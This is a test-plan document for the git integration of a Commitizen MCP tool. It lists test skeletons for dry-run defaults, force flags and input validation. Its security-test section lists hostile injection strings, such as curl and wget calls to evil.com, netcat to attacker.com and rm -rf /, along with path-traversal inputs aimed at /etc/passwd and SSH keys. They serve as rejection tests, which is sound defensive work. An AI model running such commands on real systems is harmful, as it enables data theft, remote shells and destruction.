# Task 4: Testing and Validation (Minutes 45-60)
## Objective
Create comprehensive tests to validate git integration functionality and ensure safety mechanisms work correctly.
## Implementation
### Core Test Suite
**File**: `tests/test_git_integration.py`
```python
import pytest
from unittest.mock import Mock, patch, MagicMock
from pathlib import Path
class TestGitService:
"""Test suite for GitService class functionality."""
def test_git_service_init_valid_repo(self):
"""Test GitService initialization in valid git repository."""
# Mock is_git_project or subprocess to return True
# Initialize GitService
# Assert service.repo_path is set correctly
# Assert no exceptions raised
def test_git_service_init_invalid_repo(self):
"""Test GitService initialization in non-git directory."""
# Mock is_git_project or subprocess to return False
# Assert NotAGitProjectError is raised
# Verify error message is appropriate
def test_get_staged_files_with_files(self):
"""Test getting staged files when files are staged."""
# Mock git command or API to return file list
# Call get_staged_files()
# Assert correct file list returned
def test_get_staged_files_empty(self):
"""Test getting staged files when no files staged."""
# Mock git command or API to return empty
# Call get_staged_files()
# Assert empty list returned
def test_preview_commit_basic(self):
"""Test basic commit preview functionality."""
# Mock staged files
# Call preview_commit() with test message
# Assert preview contains:
# - message
# - staged_files
# - dry_run=True
# - git_command
def test_preview_commit_with_stage_all(self):
"""Test commit preview with stage_all option."""
# Mock unstaged files
# Call preview_commit() with stage_all=True
# Assert preview shows all files would be staged
def test_execute_commit_safety_check(self):
"""Test that execute_commit requires force flag."""
# Call execute_commit() with force=False
# Assert operation returns error about requiring force
# Assert no actual git command executed
def test_execute_commit_dry_run_default(self):
"""Test that execute_commit defaults to dry_run."""
# Call execute_commit() without dry_run parameter
# Assert dry_run=True in response
# Assert no actual git command executed
def test_execute_commit_actual_execution(self):
"""Test actual commit execution with force and dry_run=False."""
# Mock successful git commit
# Call execute_commit() with force=True, dry_run=False
# Assert commit was executed
# Assert success response with commit hash
def test_execute_commit_failure(self):
"""Test handling of git commit failures."""
# Mock failed git commit
# Call execute_commit() with force=True, dry_run=False
# Assert failure response with error details
class TestCommitzenServiceGitIntegration:
"""Test integration of git functionality with CommitzenService."""
def test_service_init_with_git(self):
"""Test CommitzenService initialization with git available."""
# Mock GitService initialization success
# Initialize CommitzenService
# Assert git_enabled=True
# Assert git_service is not None
def test_service_init_without_git(self):
"""Test CommitzenService initialization without git."""
# Mock GitService to raise NotAGitProjectError
# Initialize CommitzenService
# Assert git_enabled=False
# Assert git_service is None
def test_preview_commit_operation_with_validation(self):
"""Test preview operation with message validation."""
# Mock valid message validation
# Mock git preview
# Call preview_commit_operation()
# Assert combined validation and preview results
def test_preview_commit_operation_invalid_message(self):
"""Test preview operation with invalid message."""
# Mock invalid message validation
# Call preview_commit_operation()
# Assert error response about invalid message
def test_execute_commit_operation_full_pipeline(self):
"""Test full commit execution pipeline."""
# Mock message validation success
# Mock git execution success
# Call execute_commit_operation() with force=True
# Assert successful execution with all validation steps
class TestMCPToolsGitIntegration:
"""Test MCP tools for git operations."""
def test_get_git_status_enabled(self):
"""Test get_git_status tool when git is enabled."""
# Mock service with git_enabled=True
# Mock repository status
# Call get_git_status()
# Assert comprehensive status returned
def test_get_git_status_disabled(self):
"""Test get_git_status tool when git is disabled."""
# Mock service with git_enabled=False
# Call get_git_status()
# Assert error response with git_enabled=False
def test_preview_git_commit_tool(self):
"""Test preview_git_commit MCP tool."""
# Mock service preview operation
# Call preview_git_commit() with test parameters
# Assert preview response format
def test_execute_git_commit_tool_safety(self):
"""Test execute_git_commit tool safety mechanisms."""
# Call execute_git_commit() with force_execute=False
# Assert safety error returned
# Verify no actual execution occurred
def test_execute_git_commit_tool_with_force(self):
"""Test execute_git_commit tool with force flag."""
# Mock successful execution
# Call execute_git_commit() with force_execute=True
# Assert execution results returned
def test_generate_and_commit_preview_only(self):
"""Test generate_and_commit tool in preview mode."""
# Mock message generation
# Mock commit preview
# Call generate_and_commit() with preview_only=True
# Assert combined generation and preview results
def test_generate_and_commit_full_execution(self):
"""Test generate_and_commit tool with execution."""
# Mock message generation
# Mock commit execution
# Call generate_and_commit() with preview_only=False
# Assert full workflow execution
class TestSafetyMechanisms:
"""Test safety mechanisms and error handling."""
def test_default_dry_run_behavior(self):
"""Test that operations default to dry-run mode."""
# Test all git operations default to safe mode
# Assert no actual git commands executed by default
def test_force_flag_requirement(self):
"""Test that actual execution requires explicit force flag."""
# Test all execution operations require force=True
# Assert operations fail safely without force flag
def test_message_validation_integration(self):
"""Test message validation in git operations."""
# Test invalid messages are rejected
# Test valid messages proceed to git operations
def test_repository_validation(self):
"""Test repository state validation."""
# Test operations fail in non-git directories
# Test operations validate repository state
def test_error_handling_consistency(self):
"""Test consistent error handling across operations."""
# Test all operations return standardized error format
# Test different error types are properly categorized
class TestWorkflowIntegration:
"""Test complete workflow scenarios."""
def test_basic_commit_workflow(self):
"""Test complete basic commit workflow."""
# 1. Generate commit message
# 2. Preview commit
# 3. Execute commit with approval
# Assert each step works correctly
def test_selective_file_commit_workflow(self):
"""Test selective file commit workflow."""
# 1. Stage specific files
# 2. Generate message
# 3. Commit staged files
# Assert workflow handles file selection
def test_error_recovery_workflow(self):
"""Test workflow error handling and recovery."""
# Test workflow handles various error conditions
# Test recovery from validation failures
# Test recovery from git operation failures
```
### Integration Test Suite
**File**: `tests/test_git_mcp_integration.py`
```python
class TestMCPGitIntegration:
"""Integration tests for MCP git functionality."""
def test_mcp_server_git_tools_registration(self):
"""Test that git tools are properly registered with MCP server."""
# Initialize MCP server
# Assert git tools are available
# Test tool discovery and metadata
def test_end_to_end_commit_workflow(self):
"""Test complete end-to-end commit workflow through MCP."""
# Use MCP client to call tools in sequence
# Test realistic commit scenario
# Verify all safety mechanisms work through MCP
def test_mcp_error_handling(self):
"""Test error handling through MCP protocol."""
# Test various error conditions through MCP
# Verify error responses are properly formatted
# Test error recovery scenarios
```
### Mock Utilities
**File**: `tests/conftest.py` (additions)
```python
@pytest.fixture
def mock_git_repo():
"""Mock git repository for testing."""
# Create mock git repository structure
# Mock common git operations
# Return configured mock
@pytest.fixture
def mock_commitizen_service_with_git():
"""Mock CommitzenService with git integration."""
# Create mock service with git enabled
# Mock all git operations
# Return configured service mock
@pytest.fixture
def sample_commit_data():
"""Sample commit data for testing."""
return {
"type": "feat",
"subject": "add git integration",
"body": "Implements git commit functionality with safety checks",
"scope": "git",
"breaking": False,
"footer": "Closes #123"
}
```
### Performance Tests
**File**: `tests/test_git_performance.py`
```python
class TestGitPerformance:
"""Performance tests for git operations."""
def test_repository_status_performance(self):
"""Test performance of repository status operations."""
# Measure time for get_repository_status()
# Assert reasonable performance thresholds
def test_large_repository_handling(self):
"""Test handling of repositories with many files."""
# Mock large repository
# Test staged file operations
# Assert acceptable performance
def test_concurrent_operations(self):
"""Test handling of concurrent git operations."""
# Test multiple simultaneous operations
# Verify thread safety
# Assert no race conditions
```
## Test Execution Strategy
### Test Categories
1. **Unit Tests**: Individual component testing
2. **Integration Tests**: Component interaction testing
3. **Safety Tests**: Security and safety mechanism testing
4. **Performance Tests**: Performance and scalability testing
5. **End-to-End Tests**: Complete workflow testing
### Test Execution Commands
```bash
# Run all git integration tests
pytest tests/test_git_integration.py -v
# Run safety mechanism tests specifically
pytest tests/test_git_integration.py::TestSafetyMechanisms -v
# Run performance tests
pytest tests/test_git_performance.py -v
# Run with coverage
pytest tests/test_git_integration.py --cov=src/commitizen_mcp_connector --cov-report=html
```
### Continuous Integration
```yaml
# Add to CI pipeline
- name: Test Git Integration
run: |
pytest tests/test_git_integration.py -v
pytest tests/test_git_mcp_integration.py -v
```
## Validation Checklist
### Functionality Validation
- [ ] GitService initializes correctly in git repositories
- [ ] GitService fails safely in non-git directories
- [ ] Repository status operations work correctly
- [ ] Commit preview shows accurate information
- [ ] Commit execution works with proper safety checks
- [ ] Message validation integrates with git operations
- [ ] MCP tools are properly registered and accessible
### Safety Validation
- [ ] Operations default to dry-run mode
- [ ] Actual execution requires explicit force flags
- [ ] Invalid messages are rejected before git operations
- [ ] Repository validation prevents unsafe operations
- [ ] Error handling provides clear feedback
- [ ] No accidental commits possible through normal usage
### Integration Validation
- [ ] Git functionality integrates with existing CommitzenService
- [ ] MCP tools work correctly through protocol
- [ ] Workflow tools support multi-step processes
- [ ] Error responses are consistent across all tools
- [ ] Performance is acceptable for typical repositories
## Success Criteria
- [ ] All tests pass with >90% code coverage ⏳ **CAN PROCEED WITH BASIC SECURITY**
- [ ] Safety mechanisms prevent accidental commits ✅ **ALREADY IMPLEMENTED** (force flags, preview modes)
- [ ] Git operations work reliably in various scenarios ⏳ **PENDING IMPLEMENTATION**
- [ ] Error handling is comprehensive and user-friendly ⏳ **PENDING IMPLEMENTATION**
- [ ] Performance meets acceptable thresholds ⏳ **PENDING IMPLEMENTATION**
- [ ] Integration with existing functionality is seamless ⏳ **PENDING IMPLEMENTATION**
- [ ] **LOCAL USAGE**: Basic security implemented ⏳ **MINIMAL REQUIREMENTS**
- [ ] **LOCAL USAGE**: Basic security testing implemented ⏳ **SIMPLIFIED REQUIREMENTS**
- [ ] **LOCAL USAGE**: Input sanitization tested ⏳ **REQUIRED FOR LOCAL USAGE**
## Implementation Status
### ⚠️ LOCAL USAGE: Simplified Testing Requirements
**Status**: ⚠️ **CAN PROCEED WITH BASIC SECURITY TESTING FOR LOCAL USAGE**
Based on local usage analysis in `journal/git/local-usage-security-analysis.md`, testing requirements are significantly simplified for local-only deployment.
**Revised Risk Assessment for Local Usage**:
1. **Command Injection** (MEDIUM - reduced from HIGH) - Basic sanitization testing needed
2. **Directory Traversal** (MEDIUM - reduced from HIGH) - Basic path validation testing needed
3. **Accidental Data Loss** (MEDIUM) - Already mitigated by force flags (tested ✅)
**Eliminated Testing Requirements for Local Usage**:
- ✅ Rate limiting tests - Not applicable for single user
- ✅ Network security tests - No network exposure
- ✅ Multi-user access tests - Single user environment
- ✅ Comprehensive penetration testing - Overkill for local usage
- ✅ Authentication tests - User already authenticated locally
**Reference**: `journal/git/local-usage-security-analysis.md`
### Required Security Testing (PRIORITY)
#### 1. Security Vulnerability Testing (CRITICAL)
**File**: `tests/test_git_security.py`
```python
class TestGitSecurity:
"""CRITICAL: Security vulnerability testing."""
def test_commit_message_injection_prevention(self):
"""Test protection against commit message injection attacks."""
malicious_messages = [
"feat: add feature `rm -rf /`",
"fix: bug $(malicious_command)",
"docs: update; rm important_file.txt",
"chore: cleanup && curl evil.com/steal",
"test: verify |& nc attacker.com 4444"
]
for message in malicious_messages:
with pytest.raises(SecurityError):
git_service.execute_commit(message, force_execute=True)
def test_file_path_traversal_prevention(self):
"""Test protection against directory traversal attacks."""
malicious_paths = [
"../../../etc/passwd",
"../../.ssh/id_rsa",
"../sensitive_file.key",
"../../../../home/user/.bashrc",
"..\\..\\windows\\system32\\config\\sam"
]
for path in malicious_paths:
with pytest.raises(SecurityError):
git_service.add_files(path, force_execute=True)
def test_sensitive_file_access_prevention(self):
"""Test blocking of sensitive file access."""
sensitive_files = [
".env", ".key", ".pem", "password.txt",
"secret.json", "private.key", "id_rsa"
]
for file_path in sensitive_files:
assert not git_service.check_file_access(file_path)
def test_operation_rate_limiting(self):
"""Test rate limiting prevents abuse."""
# Attempt rapid-fire git operations
for i in range(100):
if i > 10: # Should be rate limited after 10 operations
with pytest.raises(RateLimitError):
git_service.get_repository_status()
def test_audit_logging_functionality(self):
"""Test that all operations are logged for security audit."""
# Perform git operation
git_service.preview_commit("test: audit logging")
# Verify operation was logged
assert security_audit_log.contains_operation("preview_commit")
assert security_audit_log.contains_user_context()
assert security_audit_log.contains_timestamp()
```
#### 2. Penetration Testing (CRITICAL)
**File**: `tests/test_git_penetration.py`
```python
class TestGitPenetrationTesting:
"""CRITICAL: Penetration testing for git integration."""
def test_shell_escape_attempts(self):
"""Test various shell escape techniques."""
escape_attempts = [
"; cat /etc/passwd",
"| nc attacker.com 4444",
"& wget evil.com/malware",
"`whoami`",
"$(id)",
"${PATH}",
"\n rm -rf /",
"\r\n curl evil.com"
]
for attempt in escape_attempts:
message = f"feat: legitimate message {attempt}"
# Should be blocked by security controls
assert not git_service.execute_commit(message, force_execute=True)["success"]
def test_privilege_escalation_attempts(self):
"""Test attempts to escalate privileges."""
# Test accessing files outside repository
# Test executing privileged commands
# Test bypassing permission checks
def test_information_disclosure_prevention(self):
"""Test prevention of sensitive information disclosure."""
# Test that error messages don't leak sensitive info
# Test that git operations don't expose system details
# Test that audit logs don't contain sensitive data
```
#### 3. Input Validation Testing (CRITICAL)
**File**: `tests/test_git_input_validation.py`
```python
class TestGitInputValidation:
"""CRITICAL: Input validation and sanitization testing."""
def test_commit_message_sanitization(self):
"""Test commit message sanitization."""
dangerous_inputs = [
"message with `backticks`",
"message with $(command)",
"message with & ampersand",
"message with | pipe",
"message with ; semicolon",
"message with > redirect",
"message with < redirect",
"message with () parentheses",
"message with {} braces"
]
for dangerous_input in dangerous_inputs:
sanitized = sanitize_commit_message(dangerous_input)
# Verify dangerous characters removed
assert not any(char in sanitized for char in ['`', '$', '|', '&', ';', '>', '<'])
def test_file_path_validation(self):
"""Test file path validation and normalization."""
invalid_paths = [
"../outside/repo",
"/absolute/path",
"~/home/path",
"path/with/../traversal",
"path/with/./current",
"path\\with\\backslashes"
]
for invalid_path in invalid_paths:
with pytest.raises(ValidationError):
validate_file_path(invalid_path, repo_root)
```
### Current Testing Status
#### ✅ Basic Functionality Tests (Completed)
- GitService initialization testing
- Repository validation testing
- Preview functionality testing
- Force flag safety testing
- Error handling testing
#### ❌ Security Tests (MISSING - CRITICAL)
- Input sanitization testing
- Injection attack prevention testing
- Path traversal prevention testing
- Permission validation testing
- Rate limiting testing
- Audit logging testing
#### ❌ Integration Tests (BLOCKED)
- MCP tool integration testing (blocked by security issues)
- End-to-end workflow testing (blocked by security issues)
- Performance testing (blocked by security issues)
### Security-First Testing Strategy
#### Phase 1: Security Foundation Testing (REQUIRED FIRST)
1. **Input Sanitization Tests** - Verify all inputs are properly sanitized
2. **Injection Prevention Tests** - Test protection against code injection
3. **Access Control Tests** - Verify permission and access controls
4. **Audit Logging Tests** - Ensure all operations are logged
5. **Rate Limiting Tests** - Verify abuse prevention mechanisms
#### Phase 2: Penetration Testing (AFTER PHASE 1)
1. **Automated Security Scanning** - Use security tools to scan for vulnerabilities
2. **Manual Penetration Testing** - Human security testing
3. **Red Team Assessment** - Adversarial security testing
4. **Vulnerability Assessment** - Comprehensive security review
#### Phase 3: Integration Testing (AFTER SECURITY VALIDATION)
1. **Secure MCP Integration** - Test security-wrapped MCP tools
2. **End-to-End Security** - Test complete secure workflows
3. **Performance with Security** - Ensure security doesn't break performance
4. **User Experience** - Test usability with security controls
## Current Recommendation for Local Usage
### ✅ CAN PROCEED WITH SIMPLIFIED TESTING FOR LOCAL USAGE
**Reason**: Local-only deployment significantly reduces security risks and testing complexity.
### 🔒 Simplified Local Testing Approach
1. **Implement basic security** (~1.5 hours):
- Basic input sanitization for commit messages
- Basic path validation for file operations
- Basic security tests
2. **Implement functionality tests** with basic security
3. **Test local usage workflows**
4. **Iterate based on user feedback**
## Next Steps for Local Usage
### Phase 1: Basic Security Testing (~1 hour)
1. **Add basic input sanitization tests** (30 minutes)
```python
def test_commit_message_sanitization():
"""Test basic shell character removal."""
dangerous_message = "feat: add feature `rm file`"
sanitized = sanitize_commit_message(dangerous_message)
assert '`' not in sanitized
```
2. **Add basic path validation tests** (15 minutes)
```python
def test_file_path_validation():
"""Test basic path traversal prevention."""
with pytest.raises(ValueError):
validate_file_path("../outside/repo", repo_root)
```
3. **Test existing safety mechanisms** (15 minutes)
- Force flag requirement tests (already implemented ✅)
- Preview mode tests (already implemented ✅)
- Repository validation tests (already implemented ✅)
### Phase 2: Functionality Testing (After Phase 1)
1. **Implement core functionality tests**
2. **Add MCP integration tests**
3. **Test end-to-end local workflows**
4. **Performance testing for local usage**
### Simplified Testing Requirements for Local Usage
- [ ] Basic input sanitization tests implemented and passing
- [ ] Basic path validation tests implemented and passing
- [ ] Force flag and preview mechanism tests passing (already implemented ✅)
- [ ] Core functionality tests implemented and passing
- [ ] MCP integration tests implemented and passing
- [ ] Local workflow tests implemented and passing
### Not Required for Local Usage
- ❌ Rate limiting tests - Not applicable for single user
- ❌ Network security tests - No network exposure
- ❌ Multi-user access tests - Single user environment
- ❌ Comprehensive penetration testing - Overkill for local usage
- ❌ Authentication tests - User already authenticated locally
- ❌ Audit logging tests - Optional for local debugging
**✅ ACCEPTABLE**: Current implementation with basic security additions and simplified testing is safe for local development use.
